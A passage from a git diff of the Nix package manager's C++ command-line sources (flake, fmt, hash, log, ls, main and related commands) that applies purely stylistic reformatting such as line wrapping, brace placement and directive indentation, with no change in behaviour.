(!json) { - logger->cout(fmt("%s " ANSI_WARNING "omitted due to use of import from derivation" ANSI_NORMAL, headerPrefix)); + logger->cout( + fmt("%s " ANSI_WARNING "omitted due to use of import from derivation" ANSI_NORMAL, + headerPrefix)); } else { - logger->warn(fmt("%s omitted due to use of import from derivation", concatStringsSep(".", attrPathS))); + logger->warn(fmt( + "%s omitted due to use of import from derivation", concatStringsSep(".", attrPathS))); } } } @@ -1362,17 +1319,21 @@ struct CmdFlakeShow : FlakeCommand, MixJSON else if (attrPath.size() > 0 && attrPathS[0] == "legacyPackages") { if (attrPath.size() == 1) recurse(); - else if (!showLegacy){ + else if (!showLegacy) { if (!json) - logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--legacy' to show)", headerPrefix)); + logger->cout(fmt( + "%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--legacy' to show)", headerPrefix)); else { logger->warn(fmt("%s omitted (use '--legacy' to show)", concatStringsSep(".", attrPathS))); } } else if (!showAllSystems && std::string(attrPathS[1]) != localSystem) { if (!json) - logger->cout(fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", headerPrefix)); + logger->cout( + fmt("%s " ANSI_WARNING "omitted" ANSI_NORMAL " (use '--all-systems' to show)", + headerPrefix)); else { - logger->warn(fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); + logger->warn( + fmt("%s omitted (use '--all-systems' to show)", concatStringsSep(".", attrPathS))); } } else { try { @@ -1383,18 +1344,21 @@ struct CmdFlakeShow : FlakeCommand, MixJSON recurse(); } catch (IFDError & e) { if (!json) { - logger->cout(fmt("%s " ANSI_WARNING "omitted due to use of import from derivation" ANSI_NORMAL, headerPrefix)); + logger->cout( + fmt("%s " ANSI_WARNING "omitted due to use of import from derivation" ANSI_NORMAL, + headerPrefix)); } else { - logger->warn(fmt("%s omitted due to use of import from derivation", concatStringsSep(".", attrPathS))); + logger->warn( + fmt("%s omitted due to use of import from derivation", + concatStringsSep(".", attrPathS))); } } } } else if ( - (attrPath.size() == 2 && attrPathS[0] == "defaultApp") || - (attrPath.size() == 3 && attrPathS[0] == "apps")) - { + (attrPath.size() == 2 && attrPathS[0] == "defaultApp") + || (attrPath.size() == 3 && attrPathS[0] == "apps")) { auto aType = visitor.maybeGetAttr("type"); std::optional description; if (auto aMeta = visitor.maybeGetAttr(state->sMeta)) { @@ -1408,14 +1372,16 @@ struct CmdFlakeShow : FlakeCommand, MixJSON if (description) j.emplace("description", *description); } else { - logger->cout("%s: app: " ANSI_BOLD "%s" ANSI_NORMAL, headerPrefix, description ? *description : "no description"); + logger->cout( + "%s: app: " ANSI_BOLD "%s" ANSI_NORMAL, + headerPrefix, + description ? *description : "no description"); } } else if ( - (attrPath.size() == 1 && attrPathS[0] == "defaultTemplate") || - (attrPath.size() == 2 && attrPathS[0] == "templates")) - { + (attrPath.size() == 1 && attrPathS[0] == "defaultTemplate") + || (attrPath.size() == 2 && attrPathS[0] == "templates")) { auto description = visitor.getAttr("description")->getString(); if (json) { j.emplace("type", "template"); @@ -1426,13 +1392,15 @@ struct CmdFlakeShow : FlakeCommand, MixJSON } else { - auto [type, description] = - (attrPath.size() == 1 && attrPathS[0] == "overlay") - || (attrPath.size() == 2 && attrPathS[0] == "overlays") ? std::make_pair("nixpkgs-overlay", "Nixpkgs overlay") : - attrPath.size() == 2 && attrPathS[0] == "nixosConfigurations" ? std::make_pair("nixos-configuration", "NixOS configuration") : - (attrPath.size() == 1 && attrPathS[0] == "nixosModule") - || (attrPath.size() == 2 && attrPathS[0] == "nixosModules") ? std::make_pair("nixos-module", "NixOS module") : - std::make_pair("unknown", "unknown"); + auto [type, description] = (attrPath.size() == 1 && attrPathS[0] == "overlay") + || (attrPath.size() == 2 && attrPathS[0] == "overlays") + ? std::make_pair("nixpkgs-overlay", "Nixpkgs overlay") + : attrPath.size() == 2 && attrPathS[0] == "nixosConfigurations" + ? std::make_pair("nixos-configuration", "NixOS configuration") + : (attrPath.size() == 1 && attrPathS[0] == "nixosModule") + || (attrPath.size() == 2 && attrPathS[0] == "nixosModules") + ? std::make_pair("nixos-module", "NixOS module") + : std::make_pair("unknown", "unknown"); if (json) { j.emplace("type", type); } else { @@ -1479,8 +1447,8 @@ struct CmdFlakePrefetch : FlakeCommand, MixJSON std::string doc() override { return - #include "flake-prefetch.md" - ; +#include "flake-prefetch.md" + ; } void run(ref store) override @@ -1499,7 +1467,8 @@ struct CmdFlakePrefetch : FlakeCommand, MixJSON res["locked"] = fetchers::attrsToJSON(lockedRef.toAttrs()); printJSON(res); } else { - notice("Downloaded '%s' to '%s' (hash '%s').", + notice( + "Downloaded '%s' to '%s' (hash '%s').", lockedRef.to_string(), store->printStorePath(storePath), hash.to_string(HashFormat::SRI, true)); @@ -1518,20 +1487,20 @@ struct CmdFlake : NixMultiCommand { CmdFlake() : NixMultiCommand( - "flake", - { - {"update", []() { return make_ref(); }}, - {"lock", []() { return make_ref(); }}, - {"metadata", []() { return make_ref(); }}, - {"info", []() { return make_ref(); }}, - {"check", []() { return make_ref(); }}, - {"init", []() { return make_ref(); }}, - {"new", []() { return make_ref(); }}, - {"clone", []() { return make_ref(); }}, - {"archive", []() { return make_ref(); }}, - {"show", []() { return make_ref(); }}, - {"prefetch", []() { return make_ref(); }}, - }) + "flake", + { + {"update", []() { return make_ref(); }}, + {"lock", []() { return make_ref(); }}, + {"metadata", []() { return make_ref(); }}, + {"info", []() { return make_ref(); }}, + {"check", []() { return make_ref(); }}, + {"init", []() { return make_ref(); }}, + {"new", []() { return make_ref(); }}, + {"clone", []() { return make_ref(); }}, + {"archive", []() { return make_ref(); }}, + {"show", []() { return make_ref(); }}, + {"prefetch", []() { return make_ref(); }}, + }) { } @@ -1543,8 +1512,8 @@ struct CmdFlake : NixMultiCommand std::string doc() override { return - #include "flake.md" - ; +#include "flake.md" + ; } void run() override diff --git a/src/nix/fmt.cc b/src/nix/fmt.cc index dc270fb8c..564ff08a0 100644 --- a/src/nix/fmt.cc +++ b/src/nix/fmt.cc @@ -5,28 +5,41 @@ using namespace nix; -struct CmdFmt : SourceExprCommand { +struct CmdFmt : SourceExprCommand +{ std::vector args; - CmdFmt() { expectArgs({.label = "args", .handler = {&args}}); } + CmdFmt() + { + expectArgs({.label = "args", .handler = {&args}}); + } - std::string description() override { + std::string description() override + { return "reformat your code in the standard style"; } - std::string doc() override { + std::string doc() override + { return - #include "fmt.md" - ; +#include "fmt.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } - Strings getDefaultFlakeAttrPaths() override { + Strings getDefaultFlakeAttrPaths() override + { return Strings{"formatter." + settings.thisSystem.get()}; } - Strings getDefaultFlakeAttrPathPrefixes() override { return Strings{}; } + Strings getDefaultFlakeAttrPathPrefixes() override + { + return Strings{}; + } void run(ref store) override { @@ -40,7 +53,7 @@ struct CmdFmt : SourceExprCommand { Strings programArgs{app.program}; // Propagate arguments from the CLI - for (auto &i : args) { + for (auto & i : args) { programArgs.push_back(i); } diff --git a/src/nix/hash.cc b/src/nix/hash.cc index 510cfa592..a650ef1ee 100644 --- a/src/nix/hash.cc +++ b/src/nix/hash.cc @@ -26,13 +26,10 @@ struct CmdHashBase : Command std::vector paths; std::optional modulus; - explicit CmdHashBase(FileIngestionMethod mode) : mode(mode) + explicit CmdHashBase(FileIngestionMethod mode) + : mode(mode) { - expectArgs({ - .label = "paths", - .handler = {&paths}, - .completer = completePath - }); + expectArgs({.label = "paths", .handler = {&paths}, .completer = completePath}); // FIXME The following flags should be deprecated, but we don't // yet have a mechanism for that. @@ -92,10 +89,9 @@ struct CmdHashBase : Command return PosixSourceAccessor::createAtRoot(makeParentCanonical(path)); }; - Hash h { HashAlgorithm::SHA256 }; // throwaway def to appease C++ + Hash h{HashAlgorithm::SHA256}; // throwaway def to appease C++ switch (mode) { - case FileIngestionMethod::Flat: - { + case FileIngestionMethod::Flat: { // While usually we could use the some code as for NixArchive, // the Flat method needs to support FIFOs, such as those // produced by bash process substitution, e.g.: @@ -107,8 +103,7 @@ struct CmdHashBase : Command h = hashSink->finish().first; break; } - case FileIngestionMethod::NixArchive: - { + case FileIngestionMethod::NixArchive: { auto sourcePath = makeSourcePath(); auto hashSink = makeSink(); dumpPath(sourcePath, *hashSink, (FileSerialisationMethod) mode); @@ -132,7 +127,8 @@ struct CmdHashBase : Command } } - if (truncate && h.hashSize > 20) h = compressHash(h, 20); + if (truncate && h.hashSize > 20) + h = compressHash(h, 20); logger->cout(h.to_string(hashFormat, hashFormat == HashFormat::SRI)); } } @@ -149,14 +145,14 @@ struct CmdHashPath : CmdHashBase addFlag(flag::hashAlgo("algo", &hashAlgo)); addFlag(flag::fileIngestionMethod(&mode)); addFlag(flag::hashFormatWithDefault("format", &hashFormat)); - #if 0 +#if 0 addFlag({ .longName = "modulo", .description = "Compute the hash modulo the specified string.", .labels = {"modulus"}, .handler = {&modulus}, }); - #endif +#endif } }; @@ -193,11 +189,12 @@ struct CmdToBase : Command std::string description() override { - return fmt("convert a hash to %s representation (deprecated, use `nix hash convert` instead)", - hashFormat == HashFormat::Base16 ? "base-16" : - hashFormat == HashFormat::Nix32 ? "base-32" : - hashFormat == HashFormat::Base64 ? "base-64" : - "SRI"); + return fmt( + "convert a hash to %s representation (deprecated, use `nix hash convert` instead)", + hashFormat == HashFormat::Base16 ? "base-16" + : hashFormat == HashFormat::Nix32 ? "base-32" + : hashFormat == HashFormat::Base64 ? "base-64" + : "SRI"); } void run() override @@ -219,13 +216,15 @@ struct CmdHashConvert : Command std::optional algo; std::vector hashStrings; - CmdHashConvert(): to(HashFormat::SRI) { + CmdHashConvert() + : to(HashFormat::SRI) + { addFlag(flag::hashFormatOpt("from", &from)); addFlag(flag::hashFormatWithDefault("to", &to)); addFlag(flag::hashAlgoOpt(&algo)); expectArgs({ - .label = "hashes", - .handler = {&hashStrings}, + .label = "hashes", + .handler = {&hashStrings}, }); } @@ -237,23 +236,21 @@ struct CmdHashConvert : Command std::string doc() override { return - #include "hash-convert.md" - ; +#include "hash-convert.md" + ; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } - void run() override { + void run() override + { for (const auto & s : hashStrings) { - Hash h = - from == HashFormat::SRI - ? Hash::parseSRI(s) - : Hash::parseAny(s, algo); - if (from - && from != HashFormat::SRI - && h.to_string(*from, false) != - (from == HashFormat::Base16 ? toLower(s) : s)) - { + Hash h = from == HashFormat::SRI ? Hash::parseSRI(s) : Hash::parseAny(s, algo); + if (from && from != HashFormat::SRI + && h.to_string(*from, false) != (from == HashFormat::Base16 ? toLower(s) : s)) { auto from_as_string = printHashFormat(*from); throw BadHash("input hash '%s' does not have the expected format for '--from %s'", s, from_as_string); } @@ -266,30 +263,34 @@ struct CmdHash : NixMultiCommand { CmdHash() : NixMultiCommand( - "hash", - { - {"convert", []() { return make_ref();}}, - {"path", []() { return make_ref(); }}, - {"file", []() { return make_ref(); }}, - {"to-base16", []() { return make_ref(HashFormat::Base16); }}, - {"to-base32", []() { return make_ref(HashFormat::Nix32); }}, - {"to-base64", []() { return make_ref(HashFormat::Base64); }}, - {"to-sri", []() { return make_ref(HashFormat::SRI); }}, - }) - { } + "hash", + { + {"convert", []() { return make_ref(); }}, + {"path", []() { return make_ref(); }}, + {"file", []() { return make_ref(); }}, + {"to-base16", []() { return make_ref(HashFormat::Base16); }}, + {"to-base32", []() { return make_ref(HashFormat::Nix32); }}, + {"to-base64", []() { return make_ref(HashFormat::Base64); }}, + {"to-sri", []() { return make_ref(HashFormat::SRI); }}, + }) + { + } std::string description() override { return "compute and convert cryptographic hashes"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdHash = registerCommand("hash"); /* Legacy nix-hash command. */ -static int compatNixHash(int argc, char * * argv) +static int compatNixHash(int argc, char ** argv) { // Wait until `nix hash convert` is not hidden behind experimental flags anymore. // warn("`nix-hash` has been deprecated in favor of `nix hash convert`."); @@ -306,33 +307,34 @@ static int compatNixHash(int argc, char * * argv) showManPage("nix-hash"); else if (*arg == "--version") printVersion("nix-hash"); - else if (*arg == "--flat") flat = true; - else if (*arg == "--base16") hashFormat = HashFormat::Base16; - else if (*arg == "--base32") hashFormat = HashFormat::Nix32; - else if (*arg == "--base64") hashFormat = HashFormat::Base64; - else if (*arg == "--sri") hashFormat = HashFormat::SRI; - else if (*arg == "--truncate") truncate = true; + else if (*arg == "--flat") + flat = true; + else if (*arg == "--base16") + hashFormat = HashFormat::Base16; + else if (*arg == "--base32") + hashFormat = HashFormat::Nix32; + else if (*arg == "--base64") + hashFormat = HashFormat::Base64; + else if (*arg == "--sri") + hashFormat = HashFormat::SRI; + else if (*arg == "--truncate") + truncate = true; else if (*arg == "--type") { std::string s = getArg(*arg, arg, end); hashAlgo = parseHashAlgo(s); - } - else if (*arg == "--to-base16") { + } else if (*arg == "--to-base16") { op = opTo; hashFormat = HashFormat::Base16; - } - else if (*arg == "--to-base32") { + } else if (*arg == "--to-base32") { op = opTo; hashFormat = HashFormat::Nix32; - } - else if (*arg == "--to-base64") { + } else if (*arg == "--to-base64") { op = opTo; hashFormat = HashFormat::Base64; - } - else if (*arg == "--to-sri") { + } else if (*arg == "--to-sri") { op = opTo; hashFormat = HashFormat::SRI; - } - else if (*arg != "" && arg->at(0) == '-') + } else if (*arg != "" && arg->at(0) == '-') return false; else ss.push_back(*arg); @@ -341,7 +343,8 @@ static int compatNixHash(int argc, char * * argv) if (op == opHash) { CmdHashBase cmd(flat ? FileIngestionMethod::Flat : FileIngestionMethod::NixArchive); - if (!hashAlgo.has_value()) hashAlgo = HashAlgorithm::MD5; + if (!hashAlgo.has_value()) + hashAlgo = HashAlgorithm::MD5; cmd.hashAlgo = hashAlgo.value(); cmd.hashFormat = hashFormat; cmd.truncate = truncate; @@ -352,7 +355,8 @@ static int compatNixHash(int argc, char * * argv) else { CmdToBase cmd(hashFormat, true); cmd.args = ss; - if (hashAlgo.has_value()) cmd.hashAlgo = hashAlgo; + if (hashAlgo.has_value()) + cmd.hashAlgo = hashAlgo; cmd.run(); } diff --git a/src/nix/log.cc b/src/nix/log.cc index e44f6d69b..c50ab6051 100644 --- a/src/nix/log.cc +++ b/src/nix/log.cc @@ -16,11 +16,14 @@ struct CmdLog : InstallableCommand std::string doc() override { return - #include "log.md" - ; +#include "log.md" + ; } - Category category() override { return catSecondary; } + Category category() override + { + return catSecondary; + } void run(ref store, ref installable) override { @@ -33,14 +36,12 @@ struct CmdLog : InstallableCommand auto b = installable->toDerivedPath(); // For compat with CLI today, TODO revisit - auto oneUp = std::visit(overloaded { - [&](const DerivedPath::Opaque & bo) { - return make_ref(bo); + auto oneUp = std::visit( + overloaded{ + [&](const DerivedPath::Opaque & bo) { return make_ref(bo); }, + [&](const DerivedPath::Built & bfd) { return bfd.drvPath; }, }, - [&](const DerivedPath::Built & bfd) { - return bfd.drvPath; - }, - }, b.path.raw()); + b.path.raw()); auto path = resolveDerivedPath(*store, *oneUp); RunPager pager; @@ -53,7 +54,8 @@ struct CmdLog : InstallableCommand auto & logSub = *logSubP; auto log = logSub.getBuildLog(path); - if (!log) continue; + if (!log) + continue; logger->stop(); printInfo("got build log for '%s' from '%s'", installable->what(), logSub.getUri()); writeFull(getStandardOutput(), *log); diff --git a/src/nix/ls.cc b/src/nix/ls.cc index 4b282bc43..dcc46fa14 100644 --- a/src/nix/ls.cc +++ b/src/nix/ls.cc @@ -43,11 +43,10 @@ struct MixLs : virtual Args, MixJSON auto showFile = [&](const CanonPath & curPath, std::string_view relPath) { if (verbose) { auto st = accessor->lstat(curPath); - std::string tp = - st.type == SourceAccessor::Type::tRegular ? - (st.isExecutable ? "-r-xr-xr-x" : "-r--r--r--") : - st.type == SourceAccessor::Type::tSymlink ? "lrwxrwxrwx" : - "dr-xr-xr-x"; + std::string tp = st.type == SourceAccessor::Type::tRegular + ? (st.isExecutable ? "-r-xr-xr-x" : "-r--r--r--") + : st.type == SourceAccessor::Type::tSymlink ? "lrwxrwxrwx" + : "dr-xr-xr-x"; auto line = fmt("%s %20d %s", tp, st.fileSize.value_or(0), relPath); if (st.type == SourceAccessor::Type::tSymlink) line += " -> " + accessor->readLink(curPath); @@ -64,9 +63,10 @@ struct MixLs : virtual Args, MixJSON } }; - doPath = [&](const SourceAccessor::Stat & st, const CanonPath & curPath, - std::string_view relPath, bool showDirectory) - { + doPath = [&](const SourceAccessor::Stat & st, + const CanonPath & curPath, + std::string_view relPath, + bool showDirectory) { if (st.type == SourceAccessor::Type::tDirectory && !showDirectory) { auto names = accessor->readDirectory(curPath); for (auto & [name, type] : names) @@ -76,9 +76,8 @@ struct MixLs : virtual Args, MixJSON }; auto st = accessor->lstat(path); - doPath(st, path, - st.type == SourceAccessor::Type::tDirectory ? "." : path.baseName().value_or(""), - showDirectory); + doPath( + st, path, st.type == SourceAccessor::Type::tDirectory ? "." : path.baseName().value_or(""), showDirectory); } void list(ref accessor, CanonPath path) @@ -98,11 +97,7 @@ struct CmdLsStore : StoreCommand, MixLs CmdLsStore() { - expectArgs({ - .label = "path", - .handler = {&path}, - .completer = completePath - }); + expectArgs({.label = "path", .handler = {&path}, .completer = completePath}); } std::string description() override @@ -113,8 +108,8 @@ struct CmdLsStore : StoreCommand, MixLs std::string doc() override { return - #include "store-ls.md" - ; +#include "store-ls.md" + ; } void run(ref store) override @@ -132,19 +127,15 @@ struct CmdLsNar : Command, MixLs CmdLsNar() { - expectArgs({ - .label = "nar", - .handler = {&narPath}, - .completer = completePath - }); + expectArgs({.label = "nar", .handler = {&narPath}, .completer = completePath}); expectArg("path", &path); } std::string doc() override { return - #include "nar-ls.md" - ; +#include "nar-ls.md" + ; } std::string description() override diff --git a/src/nix/main.cc b/src/nix/main.cc index f229ba2a4..ae9e41d7d 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -30,20 +30,20 @@ #include #ifndef _WIN32 -# include -# include -# include -# include +# include +# include +# include +# include #endif #ifdef __linux__ -# include "nix/util/namespaces.hh" +# include "nix/util/namespaces.hh" #endif #ifndef _WIN32 extern std::string chrootHelperName; -void chrootHelper(int argc, char * * argv); +void chrootHelper(int argc, char ** argv); #endif #include "nix/util/strings.hh" @@ -62,19 +62,21 @@ static bool haveInternet() Finally free([&]() { freeifaddrs(addrs); }); for (auto i = addrs; i; i = i->ifa_next) { - if (!i->ifa_addr) continue; + if (!i->ifa_addr) + continue; if (i->ifa_addr->sa_family == AF_INET) { if (ntohl(((sockaddr_in *) i->ifa_addr)->sin_addr.s_addr) != INADDR_LOOPBACK) { return true; } } else if (i->ifa_addr->sa_family == AF_INET6) { - if (!IN6_IS_ADDR_LOOPBACK(&((sockaddr_in6 *) i->ifa_addr)->sin6_addr) && - !IN6_IS_ADDR_LINKLOCAL(&((sockaddr_in6 *) i->ifa_addr)->sin6_addr)) + if (!IN6_IS_ADDR_LOOPBACK(&((sockaddr_in6 *) i->ifa_addr)->sin6_addr) + && !IN6_IS_ADDR_LINKLOCAL(&((sockaddr_in6 *) i->ifa_addr)->sin6_addr)) return true; } } - if (haveNetworkProxyConnection()) return true; + if (haveNetworkProxyConnection()) + return true; return false; #else @@ -92,7 +94,9 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs bool helpRequested = false; bool showVersion = false; - NixArgs() : MultiCommand("", RegisterCommand::getCommandsFor({})), MixCommonArgs("nix") + NixArgs() + : MultiCommand("", RegisterCommand::getCommandsFor({})) + , MixCommonArgs("nix") { categories.clear(); categories[catHelp] = "Help commands"; @@ -142,29 +146,29 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs }); aliases = { - {"add-to-store", { AliasStatus::Deprecated, {"store", "add-path"}}}, - {"cat-nar", { AliasStatus::Deprecated, {"nar", "cat"}}}, - {"cat-store", { AliasStatus::Deprecated, {"store", "cat"}}}, - {"copy-sigs", { AliasStatus::Deprecated, {"store", "copy-sigs"}}}, - {"dev-shell", { AliasStatus::Deprecated, {"develop"}}}, - {"diff-closures", { AliasStatus::Deprecated, {"store", "diff-closures"}}}, - {"dump-path", { AliasStatus::Deprecated, {"store", "dump-path"}}}, - {"hash-file", { AliasStatus::Deprecated, {"hash", "file"}}}, - {"hash-path", { AliasStatus::Deprecated, {"hash", "path"}}}, - {"ls-nar", { AliasStatus::Deprecated, {"nar", "ls"}}}, - {"ls-store", { AliasStatus::Deprecated, {"store", "ls"}}}, - {"make-content-addressable", { AliasStatus::Deprecated, {"store", "make-content-addressed"}}}, - {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}}, - {"ping-store", { AliasStatus::Deprecated, {"store", "info"}}}, - {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}}, - {"shell", { AliasStatus::AcceptedShorthand, {"env", "shell"}}}, - {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}}, - {"show-config", { AliasStatus::Deprecated, {"config", "show"}}}, - {"to-base16", { AliasStatus::Deprecated, {"hash", "to-base16"}}}, - {"to-base32", { AliasStatus::Deprecated, {"hash", "to-base32"}}}, - {"to-base64", { AliasStatus::Deprecated, {"hash", "to-base64"}}}, - {"verify", { AliasStatus::Deprecated, {"store", "verify"}}}, - {"doctor", { AliasStatus::Deprecated, {"config", "check"}}}, + {"add-to-store", {AliasStatus::Deprecated, {"store", "add-path"}}}, + {"cat-nar", {AliasStatus::Deprecated, {"nar", "cat"}}}, + {"cat-store", {AliasStatus::Deprecated, {"store", "cat"}}}, + {"copy-sigs", {AliasStatus::Deprecated, {"store", "copy-sigs"}}}, + {"dev-shell", {AliasStatus::Deprecated, {"develop"}}}, + {"diff-closures", {AliasStatus::Deprecated, {"store", "diff-closures"}}}, + {"dump-path", {AliasStatus::Deprecated, {"store", "dump-path"}}}, + {"hash-file", {AliasStatus::Deprecated, {"hash", "file"}}}, + {"hash-path", {AliasStatus::Deprecated, {"hash", "path"}}}, + {"ls-nar", {AliasStatus::Deprecated, {"nar", "ls"}}}, + {"ls-store", {AliasStatus::Deprecated, {"store", "ls"}}}, + {"make-content-addressable", {AliasStatus::Deprecated, {"store", "make-content-addressed"}}}, + {"optimise-store", {AliasStatus::Deprecated, {"store", "optimise"}}}, + {"ping-store", {AliasStatus::Deprecated, {"store", "info"}}}, + {"sign-paths", {AliasStatus::Deprecated, {"store", "sign"}}}, + {"shell", {AliasStatus::AcceptedShorthand, {"env", "shell"}}}, + {"show-derivation", {AliasStatus::Deprecated, {"derivation", "show"}}}, + {"show-config", {AliasStatus::Deprecated, {"config", "show"}}}, + {"to-base16", {AliasStatus::Deprecated, {"hash", "to-base16"}}}, + {"to-base32", {AliasStatus::Deprecated, {"hash", "to-base32"}}}, + {"to-base64", {AliasStatus::Deprecated, {"hash", "to-base64"}}}, + {"verify", {AliasStatus::Deprecated, {"store", "verify"}}}, + {"doctor", {AliasStatus::Deprecated, {"config", "check"}}}, }; }; @@ -176,8 +180,8 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs std::string doc() override { return - #include "nix.md" - ; +#include "nix.md" + ; } // Plugins may add new subcommands. @@ -219,24 +223,26 @@ static void showHelp(std::vector subcommand, NixArgs & toplevel) EvalState state({}, openStore("dummy://"), fetchSettings, evalSettings); auto vGenerateManpage = state.allocValue(); - state.eval(state.parseExprFromString( - #include "generate-manpage.nix.gen.hh" - , state.rootPath(CanonPath::root)), *vGenerateManpage); + state.eval( + state.parseExprFromString( +#include "generate-manpage.nix.gen.hh" + , state.rootPath(CanonPath::root)), + *vGenerateManpage); state.corepkgsFS->addFile( CanonPath("utils.nix"), - #include "utils.nix.gen.hh" - ); +#include "utils.nix.gen.hh" + ); state.corepkgsFS->addFile( CanonPath("/generate-settings.nix"), - #include "generate-settings.nix.gen.hh" - ); +#include "generate-settings.nix.gen.hh" + ); state.corepkgsFS->addFile( CanonPath("/generate-store-info.nix"), - #include "generate-store-info.nix.gen.hh" - ); +#include "generate-store-info.nix.gen.hh" + ); auto vDump = state.allocValue(); vDump->mkString(toplevel.dumpCli()); @@ -280,17 +286,21 @@ struct CmdHelp : Command std::string doc() override { return - #include "help.md" - ; +#include "help.md" + ; } - Category category() override { return catHelp; } + Category category() override + { + return catHelp; + } void run() override { assert(parent); MultiCommand * toplevel = parent; - while (toplevel->parent) toplevel = toplevel->parent; + while (toplevel->parent) + toplevel = toplevel->parent; showHelp(subcommand, getNixArgs(*this)); } }; @@ -307,11 +317,14 @@ struct CmdHelpStores : Command std::string doc() override { return - #include "help-stores.md.gen.hh" - ; +#include "help-stores.md.gen.hh" + ; } - Category category() override { return catHelp; } + Category category() override + { + return catHelp; + } void run() override { @@ -321,7 +334,7 @@ struct CmdHelpStores : Command static auto rCmdHelpStores = registerCommand("help-stores"); -void mainWrapped(int argc, char * * argv) +void mainWrapped(int argc, char ** argv) { savedArgv = argv; @@ -346,20 +359,22 @@ void mainWrapped(int argc, char * * argv) self-aware. That is, it has to know where it is installed. We don't think it's sentient. */ - settings.buildHook.setDefault(Strings { - getNixBin({}).string(), - "__build-remote", - }); + settings.buildHook.setDefault( + Strings{ + getNixBin({}).string(), + "__build-remote", + }); - #ifdef __linux__ +#ifdef __linux__ if (isRootUser()) { try { saveMountNamespace(); if (unshare(CLONE_NEWNS) == -1) throw SysError("setting up a private mount namespace"); - } catch (Error & e) { } + } catch (Error & e) { + } } - #endif +#endif programPath = argv[0]; auto programName = std::string(baseNameOf(programPath)); @@ -369,12 +384,14 @@ void mainWrapped(int argc, char * * argv) if (argc > 1 && std::string_view(argv[1]) == "__build-remote") { programName = "build-remote"; - argv++; argc--; + argv++; + argc--; } { auto legacy = (*RegisterLegacyCommand::commands)[programName]; - if (legacy) return legacy(argc, argv); + if (legacy) + return legacy(argc, argv); } evalSettings.pureEval = true; @@ -409,9 +426,11 @@ void mainWrapped(int argc, char * * argv) for (auto & builtinPtr : state.getBuiltins().attrs()->lexicographicOrder(state.symbols)) { auto & builtin = *builtinPtr; auto b = nlohmann::json::object(); - if (!builtin.value->isPrimOp()) continue; + if (!builtin.value->isPrimOp()) + continue; auto primOp = builtin.value->primOp(); - if (!primOp->doc) continue; + if (!primOp->doc) + continue; b["args"] = primOp->args; b["doc"] = trim(stripIndentation(primOp->doc)); if (primOp->experimentalFeature) @@ -420,7 +439,8 @@ void mainWrapped(int argc, char * * argv) } for (auto & [name, info] : state.constantInfos) { auto b = nlohmann::json::object(); - if (!info.doc) continue; + if (!info.doc) + continue; b["doc"] = trim(stripIndentation(info.doc)); b["type"] = showType(info.type, false); if (info.impureOnly) @@ -436,16 +456,18 @@ void mainWrapped(int argc, char * * argv) return; } - Finally printCompletions([&]() - { + Finally printCompletions([&]() { if (args.completions) { switch (args.completions->type) { case Completions::Type::Normal: - logger->cout("normal"); break; + logger->cout("normal"); + break; case Completions::Type::Filenames: - logger->cout("filenames"); break; + logger->cout("filenames"); + break; case Completions::Type::Attrs: - logger->cout("attrs"); break; + logger->cout("attrs"); + break; } for (auto & s : args.completions->completions) logger->cout(s.completion + "\t" + trim(s.description)); @@ -455,9 +477,10 @@ void mainWrapped(int argc, char * * argv) try { auto isNixCommand = std::regex_search(programName, std::regex("nix$")); auto allowShebang = isNixCommand && argc > 1; - args.parseCmdline(argvToStrings(argc, argv),allowShebang); + args.parseCmdline(argvToStrings(argc, argv), allowShebang); } catch (UsageError &) { - if (!args.helpRequested && !args.completions) throw; + if (!args.helpRequested && !args.completions) + throw; } if (args.helpRequested) { @@ -474,7 +497,8 @@ void mainWrapped(int argc, char * * argv) return; } - if (args.completions) return; + if (args.completions) + return; if (args.showVersion) { printVersion(programName); @@ -484,8 +508,7 @@ void mainWrapped(int argc, char * * argv) if (!args.command) throw UsageError("no subcommand specified"); - experimentalFeatureSettings.require( - args.command->second->experimentalFeature()); + experimentalFeatureSettings.require(args.command->second->experimentalFeature()); if (args.useNet && !haveInternet()) { warn("you don't have Internet access; disabling some network-dependent features"); @@ -526,7 +549,7 @@ void mainWrapped(int argc, char * * argv) } -int main(int argc, char * * argv) +int main(int argc, char ** argv) { // The CLI has a more detailed version than the libraries; see nixVersion. nix::nixVersion = NIX_CLI_VERSION; @@ -536,7 +559,5 @@ int main(int argc, char * * argv) nix::setStackSize(64 * 1024 * 1024); #endif - return nix::handleExceptions(argv[0], [&]() { - nix::mainWrapped(argc, argv); - }); + return nix::handleExceptions(argv[0], [&]() { nix::mainWrapped(argc, argv); }); } diff --git a/src/nix/make-content-addressed.cc b/src/nix/make-content-addressed.cc index 292bf42fd..6ca74c800 100644 --- a/src/nix/make-content-addressed.cc +++ b/src/nix/make-content-addressed.cc @@ -24,16 +24,16 @@ struct CmdMakeContentAddressed : virtual CopyCommand, virtual StorePathsCommand, std::string doc() override { return - #include "make-content-addressed.md" - ; +#include "make-content-addressed.md" + ; } void run(ref srcStore, StorePaths && storePaths) override { auto dstStore = dstUri.empty() ? openStore() : openStore(dstUri); - auto remappings = makeContentAddressed(*srcStore, *dstStore, - StorePathSet(storePaths.begin(), storePaths.end())); + auto remappings = + makeContentAddressed(*srcStore, *dstStore, StorePathSet(storePaths.begin(), storePaths.end())); if (json) { auto jsonRewrites = json::object(); @@ -49,9 +49,7 @@ struct CmdMakeContentAddressed : virtual CopyCommand, virtual StorePathsCommand, for (auto & path : storePaths) { auto i = remappings.find(path); assert(i != remappings.end()); - notice("rewrote '%s' to '%s'", - srcStore->printStorePath(path), - srcStore->printStorePath(i->second)); + notice("rewrote '%s' to '%s'", srcStore->printStorePath(path), srcStore->printStorePath(i->second)); } } } diff --git a/src/nix/nar.cc b/src/nix/nar.cc index debb6b95e..bae77b6cc 100644 --- a/src/nix/nar.cc +++ b/src/nix/nar.cc @@ 